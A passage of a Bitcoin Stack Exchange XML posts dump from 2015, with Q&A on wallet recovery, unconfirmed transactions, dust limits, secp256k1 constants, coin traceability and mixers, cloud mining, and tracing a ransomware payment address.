&lt;code&gt;bitcore + bitcoind&lt;/code&gt; with node.js to solve this which is painful on v14.04 for some reason... am I barking up the wrong tree and/or is there an easier approach?  I can't believe I'm the only one who's needing this so feel like I'm missing an obvious trick here as it's like pulling teeth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to rely on a 3rd party server because if they disappeared I don't want to risk my business collapsing overnight.  I am happy using 3rd party code base or servers if they are open source though.  I've used blockchain.info's API previously which was excellent but really want an in house solution.&lt;/p&gt;&#xA;" OwnerUserId="2369" LastActivityDate="2015-10-29T21:32:22.160" Title="Bitcoin HD wallet forwarder without depending on a 3rd party?" Tags="|bitcoind|bitcore|node.js|wallet-notify|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41068" PostTypeId="1" CreationDate="2015-10-27T17:32:14.437" Score="2" ViewCount="1376" Body="&lt;p&gt;ea5ee0a3734356a71b2b39deafb656715bad42fb297497f7f694d4a7a0f6335c&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is due to the fee being low 0.0001? or something else?&lt;/p&gt;&#xA;" OwnerUserId="30170" LastActivityDate="2017-11-26T10:58:16.350" Title="Why has this blockchain transaction not confirmed?" Tags="|blockchain|transaction-fees|zero-confirmation|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41069" PostTypeId="2" ParentId="41068" CreationDate="2015-10-27T17:34:49.300" Score="0" Body="&lt;p&gt;It just takes a little bit longer than you are expecting. Wait a little longer. As you can see on blockchain.info your transaction is being considered &quot;high priority&quot; so I would say the wait time is not due to your transaction fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Estimated Confirmation Time:    &lt;em&gt;Very Soon (High Priority)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/tx/ea5ee0a3734356a71b2b39deafb656715bad42fb297497f7f694d4a7a0f6335c&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx/ea5ee0a3734356a71b2b39deafb656715bad42fb297497f7f694d4a7a0f6335c&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29646" LastEditorUserId="29646" LastEditDate="2015-10-27T17:37:49.383" LastActivityDate="2015-10-27T17:37:49.383" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="41070" PostTypeId="2" ParentId="41068" CreationDate="2015-10-27T19:19:20.830" Score="1" Body="&lt;p&gt;It depends on a (currently) unconfirmed input: &lt;a href=&quot;https://blockchain.info/tx-index/106830375/1&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blockchain.info/tx-index/106830375/1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also a warning on this input (previous output) that it is a double spend, probably due to the ongoing malleability attack.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning! this transaction is a double spend. You should be extremely careful when trusting any transactions to/from this sender&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Tsg7x.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Tsg7x.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-10-27T19:19:20.830" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41072" PostTypeId="1" CreationDate="2015-10-27T20:24:27.120" Score="2" ViewCount="168" Body="&lt;p&gt;I'm writing a module that connects to multiple wallets at once and I would like to have a way I can simply query the coin daemon for its coins abbreviation (not the &quot;microcoins&quot; as asked in a comment below, just the 3 character currency identifier).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since my module also reads the coins config file, my only solution thus far is to add a parameter in the coins config file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;abbr=BTC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I was wondering if there was a cleaner way to do this. A simple rpc command that I can pull the abbr from?&lt;/p&gt;&#xA;" OwnerUserId="29487" LastEditorUserId="29487" LastEditDate="2015-10-31T03:00:33.190" LastActivityDate="2016-04-19T18:30:19.083" Title="How to get the &quot;BTC&quot; abbreviation via command line?" Tags="|bitcoind|client|json-rpc|python|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="41073" PostTypeId="2" ParentId="41060" CreationDate="2015-10-27T20:29:42.750" Score="1" Body="&lt;p&gt;Pick your poison:&#xA;&lt;a href=&quot;https://www.google.com/#q=bitcoin+block+explorer&quot; rel=&quot;nofollow&quot;&gt;https://www.google.com/#q=bitcoin+block+explorer&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All transactions can be viewed by anyone.&lt;/p&gt;&#xA;" OwnerUserId="29487" LastActivityDate="2015-10-27T20:29:42.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41074" PostTypeId="1" CreationDate="2015-10-27T21:16:07.403" Score="2" ViewCount="3100" Body="&lt;p&gt;Usually, when some bad guy do something, he requests a payment using Bitcoins. Given that the demanded payment is not common, wouldn't be easy to trace the attackers when they retrieve the money back? Assuming that the bad guy wants to retrieve all the money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A) &lt;code&gt;X&lt;/code&gt; requests 1000000 BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;B) &lt;code&gt;Y&lt;/code&gt; is monitoring all transactions and notice about a payment of 1000000 BTC to &lt;code&gt;qwerty&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;C) &lt;code&gt;Y&lt;/code&gt; reports to all banks about the address &lt;code&gt;qwerty&lt;/code&gt;, as it looks suspicious due to that recent income.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;D) &lt;code&gt;X&lt;/code&gt; goes to &lt;code&gt;Z&lt;/code&gt; to withdraw the money, but as &lt;code&gt;Z&lt;/code&gt; knows about that address, it blocks the funds and call the police.&lt;/p&gt;&#xA;" OwnerUserId="30174" LastActivityDate="2015-10-27T23:09:07.853" Title="Really are Bitcoins untraceable?" Tags="|transactions|traceability|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41075" PostTypeId="2" ParentId="41074" CreationDate="2015-10-27T21:22:56.323" Score="1" Body="&lt;p&gt;All bitcoin transactions are actually traceable by protocol definitions. Basically the blockchain is a long list of all the transactions throughout the history of bitcoin. The problem arises when trying to pinpoint who owns the address the transactions are being sent to. You can create as many BTC addresses as you want. Also with services like coin join and tumbling you can make tracing the coins much harder. Basically what your saying is possible but there are ways to easily mitigate any tracing being done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;bad guy&quot; requests payment to a certain BTC address, they then tumble the coins through multiple intermediary addresses. At this point it's pretty hard to trace where the money actually ends up. Tumblers have built in features that convert a 100 BTC transation into multiple 10 BTC transactions that all end up at the same address in the end, making you tracking idea much harder. They also have features to delay a transaction making it harder to trace on the way out since you are expecting the transaction to happen immediately and instead it was delayed by a random increment of time. Tumblers also institute a random fee usually varying from 1-3% meaning the value coming out of the tumbler is not going to be easily traced to the value going in.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Wallet (A) is sent 100 BTC&lt;/li&gt;&#xA;&lt;li&gt;Wallet (A) tumbles 100 BTC over 10 transactions of 10 BTC increments to wallet (B)&lt;/li&gt;&#xA;&lt;li&gt;repeat until satisfied.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Since the attacker can create as many BTC addresses as they want they can easily hide the trail of where the BTC is being sent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically bitcoin transactions are traceable, there are just ways to make it not worth attempting to trace.&lt;/p&gt;&#xA;" OwnerUserId="29646" LastEditorUserId="29646" LastEditDate="2015-10-27T21:28:45.603" LastActivityDate="2015-10-27T21:28:45.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41076" PostTypeId="2" ParentId="41074" CreationDate="2015-10-27T21:29:56.470" Score="0" Body="&lt;p&gt;Mixer services don't send out the same coins they take in. For example, at a physical bank, you deposit ten $100 bills. When you come back next week to make a withdrawal, you won't get those same ten bills back. The bank gives you different ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similarly, a bitcoin mixing service will accept say, 1000 BTC, and then using other BTC they already have on hand, will make say, ten 100 BTC payments to the destination address. The traceability is lost.&lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2015-10-27T21:29:56.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41077" PostTypeId="2" ParentId="41074" CreationDate="2015-10-27T23:09:07.853" Score="0" Body="&lt;p&gt;The fundamental problem is this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Alice steals some Bitcoins.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;These Bitcoins are sent to Bob.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;These Bitcoins are sent to Charlie.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Charlie tries to spend the Bitcoins.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;We now have two possibilities:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Charlie could be an innocent person who just happened to get the Bitcoins Alice stole.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Alice, Bob, and Charlie could all be the same person. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This is why if you have a $20 bill stolen from you, you can't report the serial number stolen. A person who deposits that $20 bill at a bank might be the guy who stole it or might be an innocent person who just happened to receive that bill.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if you think about it, if we had such a system, people would have to get rid of cash as quickly as possible. If cash sat in your drawer or wallet, you'd be taking a risk that some prior owner of that bill would report it stolen and cause you headache when you tried to spend or deposit it. So we don't have any tracking of stolen dollar bills.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2015-10-27T23:09:07.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41078" PostTypeId="1" CreationDate="2015-10-28T01:03:37.343" Score="3" ViewCount="15798" Body="&lt;p&gt;My son made both of us each our own bitcoin wallet, and showed me how to use the faucets. With me being disabled and sometimes not being able to get out of bed because of pain; He thought it would give me something to do while he was at school all day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I played with 3 or 4 of the faucets last week and at least 2 of them said they paid out Sat/Sun as long as you have at least 5500 Satoshi in their account, which I did.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I  wanted to see how much was in my wallet (and if the faucets actually paid out like they say they do) after the weekend. I went to Blockchain.info (where my son said he went to make/get the wallets) and tried to login. It has a place that asks for &quot;Identifier&quot; and in the box it says Identifier or Alias. Now I have he long Alphanumerical &quot;number&quot; which I am not sure whether that is an address or Identifier or what, but I tried putting that in the box and it says &quot;Unknown Wallet identifier. Please check you entered it correctly&quot; I know I entered it correctly bc I copied and pasted it the last time to make sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that on the other wallet (the one I an NOT using) my son remembered to write some sort of mnemonic device that is supposed to be for recovering the wallet if you lose the long string of letters and numbers? (I think) but not for this one. I do know the email address and password used to create the wallet, but it doesn't ask for either of those.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I read through a few not so similar Questions and answers where they spoke of downloading the wallet, which I know for sure we DID NOT do. Is this something you have to do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can type the long alphanumerical number into the main page and see there has been 2 deposits totaling 0.00033813 BTC, so I know it's there. But, I don't know what I am doing wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please, someone tell me how to access my wallet and what I am doing wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;THANK YOU.&lt;/p&gt;&#xA;" OwnerUserId="30155" LastEditorUserId="2306" LastEditDate="2015-10-28T01:43:40.723" LastActivityDate="2018-08-04T09:13:26.497" Title="How can I recover a blockchain.info wallet without the wallet identifier or the mnemonic?" Tags="|wallet|blockchain.info|e-wallet|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41079" PostTypeId="2" ParentId="41078" CreationDate="2015-10-28T01:57:23.420" Score="3" Body="&lt;p&gt;Quick primer:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The identifier is a dash separated lowercase bit of text, like &lt;code&gt;a32d0de4-818b-4aa3-...&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's specific to blockchain.info - other wallets use different systems. It was probably emailed to you.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;The mnemonic is a 17 word bit of text, like &lt;code&gt;skill course bleed oversize attempting lazer endure...&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;A bitcoin address looks like 175tWpb8K1S7NmH4Zx6rewF9WQrcZv245W. A bitcoin address is not specific to blockchain.info. It's how you tell the faucet where to send the money. This is not what you use to log in.&lt;/li&gt;&#xA;&lt;li&gt;All of this is different from your email address or password.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Troubleshooting steps:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to get either the mnemonic or the identifier. The identifier was probably emailed to you by blockchain.info, so check there. If you get the mnemonic, you can recover the identifier on the login screen with the 'Recover Wallet' button. I think it's also possible to get the identifier by contacting blockchain.info support, but you need additional information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have the identifier and the password, you can log in.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Also, I read through a few not so similar Questions and answers where they spoke of downloading the wallet, which I know for sure we DID NOT do. Is this something you have to do?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's something you need to do for some wallets. Not blockchain.info, though.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-10-28T01:57:23.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41080" PostTypeId="1" CreationDate="2015-10-28T02:25:35.253" Score="7" ViewCount="744" Body="&lt;p&gt;I am tinkering with the bitcoin source code and trying to understand the exact working of peer discovery mechanism in the &lt;code&gt;testnet&lt;/code&gt; mode for which I have made the following changes:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Disabled the DNS seed discovery in order to force bitcoind to fallback to connect to hardcoded nodes.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Changed the default hardcoded nodes to my known 4 addresses, lets say A,B,C and D, which I ensure are always online.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now, when I run the bitcoind client (call it E), it connects to one of A,B,C or D, running the same modified version of bitcoind. It gets the peer addresses from  the hardcoded node that it first connects to by exchanging &lt;code&gt;getaddr&lt;/code&gt; and &lt;code&gt;addr&lt;/code&gt; messages but I am not sure how it proceeds after that. I have following queries:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a. If a node falls back to connect to hardcoded nodes, is it supposed to connect to only one of the hardcoded nodes like it happends in my case or can it connect to multiple hardcoded nodes ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;b. After getting peer address via the &lt;code&gt;addr&lt;/code&gt; message, when will the node E start connecting to those peers ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please point me to the relevant code files/sections if possible. Thanks&lt;/p&gt;&#xA;" OwnerUserId="29691" LastActivityDate="2016-05-22T13:05:01.697" Title="How peer discovery works after connecting to hardcoded nodes?" Tags="|bitcoind|testnet|peers|peer-discovery|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41082" PostTypeId="2" ParentId="10986" CreationDate="2015-10-28T10:39:43.207" Score="51" Body="&lt;p&gt;&lt;strong&gt;Dust is often used colloquially to refer to any small amount UTXO. In contrast, Bitcoin Core’s precise definition of dust is used in mempool policy to define a minimum for output amounts in standard transactions.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Bitcoin Core considers a transaction output to be dust, when its value is lower than the cost of creating and spending it at the &lt;a href=&quot;https://github.com/bitcoin/bitcoin/commit/9022aa3&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;dustRelayFee&lt;/code&gt;&lt;/a&gt; rate. The default value for &lt;code&gt;dustRelayFee&lt;/code&gt; is 3,000 sat/kvB¹, which results in the same dust values as the prior dust definition used before Bitcoin Core 0.15.0. The previous dust definition tied the dust limit to the &lt;a href=&quot;https://bitcoin.stackexchange.com/q/48235/5406&quot;&gt;minRelayTxFee&lt;/a&gt; rate and the spending cost of an output exceeding 1/3 of its value.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;dust = (input_vsize + output_size) × 3 sat/vB&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;At the default &lt;code&gt;dustRelayFee&lt;/code&gt; of 3,000 sat/kvB, given the size of a P2PKH input being 148 bytes and the size of a P2PKH output being 34 bytes, P2PKH outputs worth less than &lt;strong&gt;546 satoshis&lt;/strong&gt; are considered dust by Bitcoin Core (546 satoshi being the smallest non-dust value). For P2WPKH outputs, Bitcoin Core considers outputs worth less than &lt;strong&gt;294 satoshis&lt;/strong&gt;² dust. Since the input sizes of scripthash and taproot outputs are &lt;a href=&quot;https://bitcoin.stackexchange.com/a/113650/5406&quot;&gt;unknowable&lt;/a&gt;, Bitcoin Core combines their actual output sizes with the input sizes of the corresponding keyhash types for dust thresholds of &lt;strong&gt;540 satoshis&lt;/strong&gt; for P2SH, and &lt;strong&gt;330 satoshis&lt;/strong&gt; for P2WSH and P2TR.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;dustRelayFee&lt;/code&gt; can be set with the hidden command line option &lt;code&gt;-dustrelayfee&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Additionally, Bitcoin Core 0.15.0 added a &lt;code&gt;discard_rate&lt;/code&gt;. The &lt;code&gt;discard_rate&lt;/code&gt; matches the longest target fee rate estimate (currently the 1,000 block fee rate estimate), but is bounded to at least &lt;code&gt;dustRelayFee&lt;/code&gt; and at most 10,000 satoshi/kvB. Any change output that would be dust at the &lt;code&gt;discard_rate&lt;/code&gt;, i.e. would cost more to spend than its value at the &lt;code&gt;discard_rate&lt;/code&gt;, will automatically be dropped to the fee instead of being created as a change output.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Other uses of &amp;quot;dust&amp;quot;&lt;/strong&gt;&lt;br /&gt;&#xA;Note that the term &amp;quot;dust&amp;quot; is also colloquially used to refer to a) any UTXOs of vanishingly low value and b) for UTXOs that are uneconomical to create or spend at &lt;em&gt;the current feerate&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;sup&gt;¹&lt;/sup&gt; &lt;sub&gt;The &lt;em&gt;transaction size&lt;/em&gt; was measured in bytes before segwit. Since segwit, the relevant measure is &lt;em&gt;transaction weight&lt;/em&gt; which is either given in virtualbytes (vbyte, vB) or weight units (wu) where 4 wu = 1 vB. For non-segwit transactions, their size is equal to their virtualsize: 1 B = 1 vB. For segwit transactions, their virtualsize is smaller or equal to their size. You can read more about these units on &lt;a href=&quot;https://bitcoin.stackexchange.com/q/89385/5406&quot;&gt;Is there a difference between bytes and virtual bytes (vbytes)?&lt;/a&gt;.&lt;br /&gt;&#xA;&lt;sup&gt;²&lt;/sup&gt; The attentive reader might expect the dust limit for P2WPKH outputs to be 297 satoshis as P2WPKH outputs are 31 bytes and P2WPKH inputs are about &lt;a href=&quot;https://bitcoin.stackexchange.com/q/100159/5406&quot;&gt;68 vbytes&lt;/a&gt;, but it appears that when the dust limit for P2WPKH outputs was &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/94f83534e4b771944af7d9ed0f40746f392eb75e/src/policy/policy.cpp#L40&quot; rel=&quot;nofollow noreferrer&quot;&gt;implemented&lt;/a&gt;, the code contained a rounding error in the vsize of the input that caused it to be assumed one vbyte smaller than it actually is. (Hat tip to Crypt-iQ for &lt;a href=&quot;https://github.com/lightningnetwork/lnd/issues/3946&quot; rel=&quot;nofollow noreferrer&quot;&gt;pointing this out&lt;/a&gt;.)&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2024-01-03T13:15:54.407" LastActivityDate="2024-01-03T13:15:54.407" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="41083" PostTypeId="2" ParentId="35814" CreationDate="2015-10-28T11:04:22.263" Score="0" Body="&lt;p&gt;Python code to get beta and lambda values for &lt;strong&gt;p&lt;/strong&gt; and &lt;strong&gt;n&lt;/strong&gt; of secp256k1 curve&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Getting beta of p&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;p = 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f&#xA;print &amp;quot;beta of p = 0x%x&amp;quot; % pow(2, (p-1)/3, p)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;beta of p = 0x7ae96a2b657c07106e64479eac3434e99cf0497512f58995c1396c28719501ee&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Getting lambda of n&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141&#xA;print &amp;quot;lambda of n = 0x%x&amp;quot; % pow(3, (n-1)/3 , n)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;lambda of n = 0x5363ad4cc05c30e0a5261c028812645a122e22ea20816678df02967c1b23bd72&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;strong&gt;More info&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I experimented further with this by getting beta and lambda for both &lt;strong&gt;p&lt;/strong&gt; and &lt;strong&gt;n&lt;/strong&gt; and discovered that all the results generated become useful for finding the identical values for &lt;strong&gt;x&lt;/strong&gt; or &lt;strong&gt;y&lt;/strong&gt; in the equation y ^ 2 = x ^ 3 + 7 mod p&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#beta and lambda for p&#xA;p = 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f&#xA;betaOfP = pow(2, (p-1)/3, p)&#xA;lambdaOfP = pow(3, (p-1)/3, p)&#xA;print &amp;quot;betaOfP \t= 0x%x &amp;quot; % betaOfP &#xA;print &amp;quot;lambdaOfP\t= 0x%x &amp;quot; % lambdaOfP &#xA;print&#xA;&#xA;#beta and lambda for n&#xA;n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141&#xA;betaOfN = pow(2, (n-1)/3 , n)&#xA;lambdaOfN = pow(3, (n-1)/3 , n)&#xA;print &amp;quot;betaOfN \t= 0x%x&amp;quot; % betaOfN&#xA;print &amp;quot;lambdaOfN\t= 0x%x&amp;quot; % lambdaOfN&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;betaOfP         = 0x7ae96a2b657c07106e64479eac3434e99cf0497512f58995c1396c28719501ee&#xA;lambdaOfP       = 0x851695d49a83f8ef919bb86153cbcb16630fb68aed0a766a3ec693d68e6afa40&lt;/p&gt;&#xA;&lt;p&gt;betaOfN         = 0xac9c52b33fa3cf1f5ad9e3fd77ed9ba4a880b9fc8ec739c2e0cfc810b51283ce&#xA;lambdaOfN       = 0x5363ad4cc05c30e0a5261c028812645a122e22ea20816678df02967c1b23bd72&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="21130" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-10-29T08:11:46.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41084" PostTypeId="1" CreationDate="2015-10-28T12:05:33.100" Score="4" ViewCount="859" Body="&lt;p&gt;I bought bitcoins a while ago, an investment, but have now been reading up on cloud mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Due to the cost of bitcoins rising, is now a good time to invest in cloud mining?&lt;/p&gt;&#xA;" OwnerDisplayName="user30187" LastEditorUserId="5406" LastEditDate="2016-02-21T15:54:52.310" LastActivityDate="2021-03-21T18:46:30.873" Title="When is it a good time to invest in Cloud mining?" Tags="|cloud-mining|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41086" PostTypeId="1" CreationDate="2015-10-28T12:59:14.323" Score="8" ViewCount="45942" Body="&lt;p&gt;My father's computer was infected with a CryptoWall virus. The virus attacker asks for Bitcoins to send me an app to decrypt my our files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to identify the Bitcoin address owner?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I identify his country? How can I let his local police know about this cyber crime?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I didn't send him Bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;http://www.bleepingcomputer.com/virus-removal/cryptowall-ransomware-information&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.bleepingcomputer.com/virus-removal/cryptowall-ransomware-information&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29952" LastEditorUserId="5406" LastEditDate="2017-06-20T03:03:05.170" LastActivityDate="2017-06-20T03:03:05.170" Title="How to identify the owner of a Bitcoin address?" Tags="|traceability|ransomware|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41087" PostTypeId="2" ParentId="41086" CreationDate="2015-10-28T13:17:31.733" Score="2" Body="&lt;p&gt;First off, I'm glad you didn't send money as that often does not help in these situations. As for tracking the attacker through their bitcoin address, I'm sorry to say but most likely that is not possible. It's impossible to determine the location of a bitcoin address without some sort of identification tied in. They also most likely would tumble the bitcoins before sending them to any address actually tied to their identity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could give all the information you possess to your local police but most likely there is not much more they can do. These type of scams are pretty safe to commit sadly.&lt;/p&gt;&#xA;" OwnerUserId="29646" LastEditorUserId="29646" LastEditDate="2015-10-28T14:37:46.550" LastActivityDate="2015-10-28T14:37:46.550" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41088" PostTypeId="2" ParentId="41084" CreationDate="2015-10-28T13:46:42.830" Score="10" Body="&lt;p&gt;&lt;em&gt;TL;DR: Never.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Lack of Control&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I don't think there is ever a good time to invest in Cloud Mining. I remain utterly unconvinced of the whole business model.&lt;/p&gt;&#xA;&lt;p&gt;Mining itself already has an inherently slim return rate, then putting both your investment and the hardware into the hands of a third party that wants an additional cut seems counterintuitive. With regular mining you can at least switch the pool when you are dissatisfied, with Cloud Mining you make yourself a hostage to changing circumstances.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Scams in the space&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Definitely have a look at &lt;a href=&quot;https://bitcointalk.org/index.php?topic=878387.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cloudmining 101 (ponzi risk assessment)&lt;/a&gt;. There are a lot of scams in the space.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Buying bitcoins directly may be better&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;A lot of people interested in investing into Cloud Mining point out that it may be a profitable investment if Bitcoin prices rise in the future.&lt;br /&gt;&#xA;Under the expectation of rising prices, the reader should consider the value increase of the same investment directly into bitcoins instead, though.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Also see this related question: &lt;a href=&quot;https://bitcoin.stackexchange.com/q/34219/5406&quot;&gt;How do cloud hashing companies profit? (leasing hashing power)&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2021-03-21T18:46:30.873" LastActivityDate="2021-03-21T18:46:30.873" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
